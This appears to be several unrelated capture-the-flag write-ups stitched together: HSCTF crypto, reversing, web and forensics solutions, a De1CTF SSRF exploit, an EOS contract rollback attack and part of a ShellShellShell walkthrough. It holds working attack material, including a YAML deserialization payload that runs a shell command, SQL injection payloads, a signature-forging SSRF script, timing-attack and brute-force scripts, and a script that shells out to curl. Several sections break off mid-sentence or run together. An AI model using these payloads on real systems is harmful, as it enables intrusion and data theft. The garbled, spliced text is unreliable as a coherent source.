misc.hsctf.com 9999Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat flag.txt"]hsctf{JS0N_or_Y4ML}Type int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!```The flag is:`hsctf{JS0N_or_Y4ML}` # **CRYPTO** ## Massive Rsa-:> description: ### Solution: We are given with large modulus and ciphertext```n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551e = 65537c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943```It's really large. So I thought to check anyways on ecc factoring for its to be prime and we got that its really a massive prime number.So then I realize that choosing a large modulus so that it can be factorized into p & q which should be unknown for the sake of security. But if its a prime number then we have to just calculate euler totient of n i.e. n-1 to exploit it, and then calculate `d=modInverse(e,phi(n))` and tada! we have private exponent, then just basic stuffs.```python>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{forg0t_t0_mult1ply_prim3s}'```So the flag is :`hsctf{forg0t_t0_mult1ply_prim3s}` ## Really Secure Algorithm-:> description: ### Solution: We are given with modulus and ciphertext```n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609e = 65537c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847```Then I factored n on factordb.I got that n is the square of a prime number.Then just again simple basic stuffs calculate euler totient of n i.e. p*(p-1) , and then calculate `d=modInverse(e,phi(n))` and tada we have private exponent, then just basic stuffs. ```>>> p=16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647>>> import gmpy2>>> d=gmpy2.invert(e,p*(p-1))>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{square_number_time}'```So the flag is :`hsctf{square_number_time}` ## Tux Kitchen-:> description: ### Solution:Here's the problem ```pythonimport random good_image = """ TUX's KITCHEN ..- - . ' `. '.- . .--. . |: _ | : _ :| |`(@)--`.(@) | : .' `-, : :(_____.-'.' ` : `-.__.-' : ` _. _. . / / `_ ' \\ . . : \\ \\ . : _ __ .\\ . . / : `. \\ : / ' : `. . ' ` : : : `. .`_ : : / ' | :' \\ . : '__ : .--' \\`-._ . .' : `). ..| \\ ) : '._.' : ; \\-'. ..: / '. \\ - ....- | ' -. : _____ | .' ` -. .'-- --`. .' `-- -- """ flag = open('flag.txt','r').read()MY_LUCKY_NUMBER = 29486316 # I need to bake special stuff!def bake_it(): s = 0 for i in range(random.randint(10000,99999)): s = random.randint(100000000000,999999999999) s -= random.randint(232,24895235) return random.randint(100000000000,999999999999) # Create my random messdef rand0m_mess(food,key): mess = [] mess.append(key) art = key bart = bake_it() cart = bake_it() dart = bake_it() for i in range(len(food)-1): art = (art*bart+cart)%dart mess.append(art) return mess # Gotta prepare the food!!!def prepare(food): good_food = [] for i in range(len(food)): good_food.append(food[i]^MY_LUCKY_NUMBER) for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER return good_food # Bake it!!!def final_baking(food,key): baked = rand0m_mess(food,key) treasure = [] for i in range(len(baked)): treasure.append(ord(food[i])*baked[i]) treasure = prepare(treasure) return treasure print(good_image)key = bake_it()print(final_baking(flag,key))```great image .So at first we reversed the prepared treasure,but look closely here ```for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER```Iterator is k but i is used that is constant So we need to just xor for all the numbers with the lucky number.Then to reverse this line `treasure.append(ord(food[i])*baked[i])` I need to find `baked[i]` for which I see the random_mess function which is nothing other than [LCG](https://en.wikipedia.org/wiki/Linear_congruential_generator) itself.So we know the starting of flag is 'hsctf{'.Then accordingly we calculated first six values of the sequence and with the help of works of msm from p4team on lcg we used the [script](assets/crypto/fullscript.py) to get the flag .This might fail sometime because of gcd(modulo , numbers ) !=1 or modulus isn't prime .So we have to test this for a while to get the result. ```pythonfrom functools import reducefrom gmpy2 import * def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, increment def crack_unknown_multiplier(states, modulus): multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus return crack_unknown_increment(states, modulus, multiplier) def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus) st=input("enter the states:")g=stfor i in range(len(g)): g[i]^= 29486316 # the lucky number#print("treasure",g) #check for purpose flag="hsctf{"m=[]for i in range(len(flag)): if g[i]%ord(flag[i])==0: m+=[g[i]//ord(flag[i])] n,k,d = crack_unknown_modulus(m)print('modulo-> %d \t multiplier-> %d \t increment -> %d ' % (n,k,d)) w=[m[0]]for q in range(1,70): w+= [(w[q-1]*k+d) % n] # the sequence if m==w[:6]: print("this worked") # usual checkans=[]for i in range(70): ans+=[g[i]//w[i]] #generating flag print(''.join(chr(i) for i in ans)) ``` If you want to test this for yourself here are the [used numbers](assets/crypto/ans.txt):-Here is the flag after we ran the script `hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621}` # **REVERSAL** ## I Thought Trig Was Really Easy-:> description: ### Solution: The problem is here as: ```pythonimport math def nice_math(x, y): return round(x + y*math.cos(math.pi * x)) lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2)) def get_number(char): return ord(char) - 96 inp = input("Enter the text: ") out = []for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1)) ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5]if (out == ans): print("That is correct! Flag: hsctf{" + inp + "}")else: print("Nope sorry, try again!")```So we see lot_of_nums which is very wierd trying to reverse the function looks difficult .So we see that each position of the flag depends upon the length of the flag and the character in this line `nice_math(get_number(inp[i]), len(inp) - i), i + 1`.That's nice_math function also looks difficult to reverse. So I tried to simply bruteforce it on the set of characters and we calculated the length of the flag on the basis of length of list ans `(((12+1)*(12+2)/2)-1)`.This was faster to do so i did it! ```pythonimport math def nice_math(x, y): return round(x + y*math.cos(math.pi * x)) lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2)) def get_number(char): return ord(char) - 96charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!:@#$%*-'"inp = ""flag=""l=1while l<=12: x=0 while x<len(charset): inp=flag+charset[x]+"b"*(12-l) assert(len(inp)==12) out = [] for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1)) ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5] g=((l+1)*(l+2)//2)-1 if(out[:g]==ans[:g]): flag+=charset[x] break x+=1 l+=1 print('The flag is:hsctf{'+flag+'}')```The flag is: `hsctf{:hyperthonk:}` ## Tux Talk Show 2019:> description: ### Solution: For this challenge it says about a lucky number.```Welcome to Tux Talk Show 2019!!!Enter your lucky number:```So we opened the ghidra for pseudocode:```c// modified a bit by me int main(int argc,char **argv) { long lVar1; int rand; time_t time; basic_ostream *this; long in_FS_OFFSET; int input; int i; int acc; int j; int array [6]; basic_string output_string [32]; basic_istream output_stream [520]; long stack_cookie_i_guess; lVar1 = *(long *)(in_FS_OFFSET + 0x28); basic_ifstream((char *)output_stream,0x1020b0); time = time((time_t *)0x0); srand((uint)time); /* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */ this = operator<<<std--char_traits<char>> ((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!"); operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>); operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky number: "); operator>>((basic_istream<char,std--char_traits<char>> *)cin,&input); array[0] = 0x79; array[1] = 0x12c97f; array[2] = 0x135f0f8; array[3] = 0x74acbc6; array[4] = 0x56c614e; array[5] = -0x1e; i = 0; while (i < 6) { rand = rand(); array[(long)i] = array[(long)i] - (rand % 10 + -1); i = i + 1; } acc = 0; j = 0; while (j < 6) { acc = acc + array[(long)j]; j = j + 1; } if (acc == input) { ... } return 0;}```here we have 6 numbers in an array and its being added after subtracting this `(iVar1 % 10 + -1)`and if our assumed number is correct than it will give the flag for us. So two ways we can solve it ,during the team discussion over this challenge I told them that I can write brute as the numbers are in the small range i.e 51 .Meanwhile the other way as my teammate suggested was to attack the rand function . I would explain both here. ```pythonfrom pwn import * a=[121, 1231231, 20312312, 122342342, 90988878, -30]host="rev.hsctf.com"port=6767 m=sum(a)-48g=sum(a)+6 # setting the rangeinp=m+16 #this is where i am guessing the number and try to run multiple times in the loopwhile inp<g+1: try: s=remote(host,port) print(s.recvline()) s.sendline(str(inp)) j=s.recvline() if "hsctf{" in j: print(j) s.close() exit(0) print(j) except: s.close() sleep(1) continue```Luckily, I got the flag from there `hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}` The second approach is here, save it as time.c and compile to a.out:```c#include "stdio.h"#include "stdlib.h" int main(int argc, char *argv[]) { time_t t; srand((unsigned) time(&t);; int array[6] = {0x79, 0x12c97f, 0x135f0f8, 0x74acbc6, 0x56c614e, -0x1e}; int acc = 0; for(int i = 0; i < 6; i++) acc += array[(long)i] - (rand() % 10 + -1); printf("%d\n", acc); return 0;}```and use it over this script ```pythonfrom pwn import *import time host = "rev.hsctf.com"port = 6767 s = remote(host,port)p = process("./a.out") res = p.recvline() s.recvuntil(':')s.sendline(res)s.interactive()```That's it , An attack over the rand function while running the netcat server. ## Bitecode -:> description: ### Solution:This Challenge was done by Lucas my teammate So I will try to explain as far as i know as he is not writing writeups. http://www.javadecompilers.com/ Use it for decompiling the given class file to [java file](assets/reversing/BiteCode.java). So lot of ifs for checking single characters of the flag one by one .So using regexes he extracted them and tried to write a brute to choose them. [Watch this video](https://youtu.be/rYOZHB_ABlo)[![Watch this video](https://imgur.com/x2U3taX.png)](https://youtu.be/rYOZHB_ABlo) <video src="assets/reversing/regexislife.mp4" width="320" height="200" controls preload></video> So that's it to write a script to get the flag:smiley:.```pythonb = ['A'] * 28for i in range(0xff): if (i ^ 189074585) - 189074673 == 0: b[0] = i if (i ^ -227215135) - -227215214 == 0: b[1] = i if (i ^ 19240864) - 19240899 == 0: b[2] = i if (i ^ 245881291) - 245881279 == 0: b[3] = i if (i ^ 233391094) - 233390992 == 0: b[4] = i if (i ^ 56978353) - 56978378 == 0: b[5] = i if (i ^ -213838484) - -213838565 == 0: b[6] = i if (i ^ -231671677) - -231671605 == 0: b[7] = i if (i ^ -132473862) - -132473910 == 0: b[8] = i if (i ^ 143449065) - 143449053 == 0: b[9] = i if (i ^ 108102484) - 108102411 == 0: b[10] = i if (i ^ 71123188) - 71123073 == 0: b[11] = i if (i ^ 146096006) - 146096089 == 0: b[12] = i if (i ^ -173487738) - -173487628 == 0: b[13] = i if (i ^ -116507045) - -116507132 == 0: b[14] = i if (i ^ -68013365) - -68013319 == 0: b[15] = i if (i ^ 171414622) - 171414529 == 0: b[16] = i if (i ^ 94412444) - 94412524 == 0: b[17] = i if (i ^ 197453081) - 197453163 == 0: b[18] = i if (i ^ -50622153) - -50622201 == 0: b[19] = i if (i ^ 190140381) - 190140290 == 0: b[20] = i if (i ^ 77383944) - 77383996 == 0: b[21] = i if (i ^ -41590082) - -41590047 == 0: b[22] = i if (i ^ 61204303) - 61204283 == 0: b[23] = i if (i ^ -24637751) - -24637791 == 0: b[24] = i if (i ^ 61697107) - 61697122 == 0: b[25] = i if (i ^ 267894989) - 267895017 == 0: b[26] = iprint(''.join([chr(i) for i in b[:-1]]))```Here's the flag `hsctf{wH04_u_r_2_pr0_4_th1$}` # **WEB** ## MD5-- :> description: ### Solution: ```php ```From this you can see that flag contains the data of flag file and then value of md4 variable is set and after its value is compared to the md4(value) and then only we can obtain flag. One thing to note that '==' comparison is used. This is where Type juggling comes. See for more [PHP Magic Tricks: Type Juggling](https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf) So what we will try to do to pick up a string which prefix would be '0e' for a reason then adding numbers ahead then calculate its md4 which will be equal to `/0e[0-9]{30}/`.So when the comparison is to be made then the strings will be treated as exponent of 0 (like 0e4=0). Thus both sides will be zero hence we will have our flag.```php {}".format(st, hashed_s) sys.exit(0) if s%10000000==0: print("[+] %d iterations done"%(s)) breakit()```Running this we get this after more than 250000000 iterations.> [+] found! md4( 0e251288019 ) ---> 0e874956163641961271069404332409 Here's our flag `hsctf{php_type_juggling_is_fun}` ## Networked Password -:> description: ### Solution: We are given a https://networked-password.web.chal.hsctf.com/ which prompts us to submit a password having a simple form to fill it up, but from the description we see thats its delays some thing we don't know what until i saw a time differnece in our inputs like for a gibberish we see fast output but for a flag like "hsctf{" it delayed a bit. And there was a hint given as well-: > Hint : You know the flag format So after attempting few times i got that every character adds 0.45-0.5 seconds.But running this script you need a better internet connection.So i tried running using online interpeter there's are ton of available. You can use https://repl.it/languages/python3 or https://codeanywhere.com/editor/ you need these because of their fast servers. And At last my first *timing attack challenge*. ```pythonimport requestsimport datetime URL="https://networked-password.web.chal.hsctf.com/"charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%*-'"flag="hsctf{" DATA={'password':flag}r=requests.post(url=URL,data=DATA)realtime=r.elapsed.total_seconds()print("The Current Time:"+str(realtime)) # printing for debugging for i in range(len(charset)): DATA={'password':flag+charset[i]} r=requests.post(url=URL,data=DATA) nexttime=r.elapsed.total_seconds() print("[+]Testing:"+str(nexttime)) # printing for debugging if(realtime+0.4<nexttime): realtime=nexttime if(charset[i]=='}'): print("The final flag is"+flag ) exit(0) flag+=charset[i] print("Current flag->"+ flag) i=0exit(0)```Here's the flag after so much running `hsctf{sm0l_fl4g}`Glad they had the small flag. # **FORENSICS** ## Double Trouble : > description: ### Solution: After downloading image you see both are quite similar . ![](assets/forensics/koala.png) ![](assets/forensics/koala2.png) So, First thing i did to check hexes and I see bytes aren't similar . Then first thing first for a forensic challenge [stegsolve](https://github.com/zardus/ctf-tools/blob/master/stegsolve/install). Opening it on command line `java -jar stegsolve.jar` I tried image combiner to do AND , OR , XOR operations.But no luck.So i tried strings exiftool then reached zsteg and the output was:```streaker@DESKTOP-DS7FIJL:$ zsteg koala.png/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /mnt/c in PATH, mode 040777imagedata .. text: "\n\n\n\n\n\n !"b1,b,lsb,xy .. text: "%q&),52+"b1,bgr,lsb,xy .. text: "
# SSRF Me - Writeup ##### By *sh4d0w58* ### Description: >SSRF ME TO GET FLAG. [http://139.180.128.86/](http://139.180.128.86/) ### Solution: On visiting [http://139.180.128.86/](http://139.180.128.86/) we are given the source code of the Flask App that we are interfacing with: ```#! /usr/bin/env python #encoding=utf-8 from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json reload(sys) sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16) class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr os.mkdir(self.sandbox) def Exec(self): result = {} result['code'] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print resp tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False #generate Sign For Action Scan. @app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param) @app.route('/De1ta',methods=['GET','POST']) def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if(waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/') def index(): return open("code.txt","r").read() def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] except: return "Connection Timeout" def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest() def md5(content): return hashlib.md5(content).hexdigest() def waf(param): check=param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False if __name__ == '__main__': app.debug = False app.run(host='0.0.0.0',port=80)``` Looking over it, we see that visiting `"/De1ta"` will execute the `challenge()` function and construct a new `Task` object with an `action`, `param`, and `sign` that we provide as cookies and a GET parameter. (Also our `ip` is passed to it). Then it will call the `Exec()` method of the object and return the json result. ```task = Task(action, param, sign, ip) return json.dumps(task.Exec()) ``` Inside `Exec()`, `checkSign()` is called. This function checks whether the `sign` value is the same as the value generated by `getSign()`. We have to pass this check to move on to the rest of `Exec()`. ```def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False``` `getSign()` performs an md5 hash with `secret_key + param + action`. `secret_key` is a random value that is generated by the App, so we don't know it. ```def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest() ``` So now we need a way to generate a valid sign. Making a request to `/geneSign` will generate a `sign` value for us, however it will only allow us to pass it the `param` value and the `action` value will be set to `"scan"`. ```@app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param) ``` Now that we can generate a valid `sign` value, we can pass the check and move on to the rest of `Exec()`. The first `if` case checks if `"scan"` is `in` `action`. Notice, it does not check whether `action == "scan"`, only whether it contains it. This will be important later. The `"scan"` action will make a request with the value of `param` and write it to a file. ```if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print resp tmpfile.write(resp) tmpfile.close() result['code'] = 200 ``` The second `if` case performs the same check with `"read"`. This action will read the file that we just wrote the result of `"scan"` to. ```if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() ``` Going back to the `"scan"` case, we see the function `scan()` is called with our `param`. This function will use `urllib.urlopen()` to perform the request and this is where the SSRF vulnerability is. ```def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] except: return "Connection Timeout" ``` To read local files we could use the `"file://"` protocol, however any `param` value that starts with `"file"` or `"gopher"` is blocked in the `challenge()` function. I believe there are multiple ways to get past this, but I noticed that starting `param` without a protocol would attempt to read files from the file system. The challenge hint says... >flag is in ./flag.txt This will allow us to read the flag into a file, but we will not be able to read it without a valid sign with the action **including** `"read"`. If we can generate a sign for the `action` as `"readscan"`, we can perform the scan and read the result in one go. Notice, `geneSign()` will perform an md5 hash of `secret + param + action` so we can pass the value of `param` as `"flag.txtread"` (the value of `action` will be `"scan"`) and generate the *same* hash as if we pass `param` as `"flag.txt"` and `action` as `"readscan"`. ```"flag.txtread"+"scan" == "flag.txt"+"readscan"``` You could also use a length extension attack, but this way is more simple. So our exploit is complete. We get the flag `"de1ctf{27782fcffbb7d00309a93bc49b74ca26}"` ### Full Code: ```import requests def geneSign(param): return requests.get("http://139.180.128.86/geneSign?param="+param).text realParam = "flag.txt" param = realParam+"read"sign = geneSign(param)param = realParam action = "readscan" answer = requests.get("http://139.180.128.86/De1ta?param="+param, cookies={"action":action,"sign":sign}).text print(answer)```
[中文](./README_zh.md) [English](./README.md)> Congratulations to Whitzard、$wagger、NoSugar、AAA for winning the game. ## Problem Title: Easy EOS Author: Gaia Description: ```shellTry to win this game.account: de1ctf111eosEOS Jungle2.0 TestnetYou need to win at least 10 times.You can ask for a flag with the sendmail function. (username: your account, address: your email address) hint for [Easy EOS]: the num of bet action is in range 0-4. Decompilation is optional.hint for [Easy EOS]: if you lost,you can't bet anymore with this account.``` ## Answer ### Answer one :*Roll Back* Attack After observing, we found that the bet action completed the guessing number game in one transaction. If it wins, the number of wins in the users table plus 1; if lost, the number of lost in the users table plus 1. By deploying contracts, we can use the "inline action" method to make guess numbers and judgments. The first action is to guess the number, and the second action is to judge whether we win or not. If we win, pass; if we lose, throw an exception and roll back the entire transaction. The way to attack ```shell# set permissionscleos set account permission gllrgjlqclkp active '{"threshold": 1,"keys": [{"key": "EOS7fyKcyPhP5P4S5xXqLzYEFg5bYuYRvxzsX3UJ5W7vAxvXtgYAU","weight": 1}],"accounts":[{"permission":{"actor":"gllrgjlqclkp","permission":"eosio.code"},"weight":1}]}' owner -p gllrgjlqclkp@owner# Compile contractcd attack4eosio-cpp -o attack4.wasm attack4.cpp# Deploy contractcleos set contract gllrgjlqclkp . -p gllrgjlqclkp@active# Call the makebet method multiple times until the number of account wins is greater than or equal to 10cleos push action gllrgjlqclkp makebet '[]' -p gllrgjlqclkp@active# Ask for a flagcleos push action de1ctftest11 sendmail '["gllrgjlqclkp", "[email protected]"]' -p gllrgjlqclkp@active``` ### Answer two :Pseudo random number Decompile the contract, get the algorithm that generates the pseudo-random number, deploy the corresponding contract. In a transaction, calculate the random number to be generated, and then use the random number to call the bet action of the target contract. The way to attack ```shell# set permissionscleos set account permission btdaciaibmfp active '{"threshold": 1,"keys": [{"key": "EOS7fyKcyPhP5P4S5xXqLzYEFg5bYuYRvxzsX3UJ5W7vAxvXtgYAU","weight": 1}],"accounts":[{"permission":{"actor":"btdaciaibmfp","permission":"eosio.code"},"weight":1}]}' owner -p btdaciaibmfp@owner# Compile contractcd attackeosio-cpp -o attack.wasm attack.cpp# Deploy contractcleos set contract btdaciaibmfp . -p btdaciaibmfp@active# Call makebet method 10 timescleos push action btdaciaibmfp makebet '[]' -p btdaciaibmfp@active# Ask for a flagcleos push action de1ctftest11 sendmail '["btdaciaibmfp", "[email protected]"]' -p btdaciaibmfp@active```
[中文](./README_zh.md) [English](./README.md) [dockerfile](./dockerfile) # ShellShellShell ### overview It required the exploitation of several bugs in order to reach the flag, so let's start with an overview. - Backup files (example:`.index.php.swp`)- INSERT SQLi in publish functionality to exfiltrate admin credentials through un/serialized PHP object- SSRF (CRLF injection) through unsafe object deserialization to "bypass" `$_SERVER['REMOTE_ADDR'] === '127.0.0.1'` condition and get authenticated admin session- Upload file and getshell.- Find another server in the inside net (IP:172.18.0.2) and get flag on it. ### Get source code`GetSwp.py` ```#coding=utf-8# import requestsimport urllibimport osos.system('mkdir source')os.system('mkdir source/views')file_list=['.index.php.swp','.config.php.swp','.user.php.swp','user.php.bak','views/.delete.swp','views/.index.swp','views/.login.swp','views/.logout.swp','views/.profile.swp','views/.publish.swp','views/.register.swp']part_url='http://45.76.187.90:11027/'for i in file_list: url=part_url+i print 'download %s '% url os.system('curl '+url+'>source/'+i) ``` ### sql injection Lootint at the `user.php` and the `insert` function. ```php private function get_column($columns){ if(is_array($columns)) $column = ' `'.implode('`,`',$columns).'` '; else $column = ' `'.$columns.'` '; return $column; } public function insert($columns,$table,$values){ $column = $this->get_column($columns); $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')'; $nid = $sql = 'insert into '.$table.'('.$column.') values '.$value; $result = $this->conn->query($sql); return $result; }``` We can use a common SQLi payload for insert statements but in order to cope with the `preg_replace`, we must use backticks (`` ` ``) in place of single quotes (`'`). So, sending the following payload: ```mood=0&signature=a`, `mood`); -- -``` will result in the following MySQL query: ```insert into ctf_user_signature( `userid`,`username`,`signature`,`mood` )values ( '1','foo','a', 'mood'); -- -`,'0' )``` #### `sql_exp.py` Use `sql_exp.py` to get admin hash. ```#coding=utf-8import reimport stringimport randomimport requestsimport subprocessimport hashlibfrom itertools import product _target='http://20.20.20.128:11027/index.php?action=' def get_code_dict(): c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|' captchas = [''.join(i) for i in product(c, repeat=3)] print '[+] Genering {} captchas...'.format(len(captchas)) with open('captchas.txt', 'w') as f: for k in captchas: f.write(hashlib.md5(k).hexdigest()+' --> '+k+'\n') def get_creds(): username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10)) password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10)) return username, password def solve_code(html): code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1) solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2] return 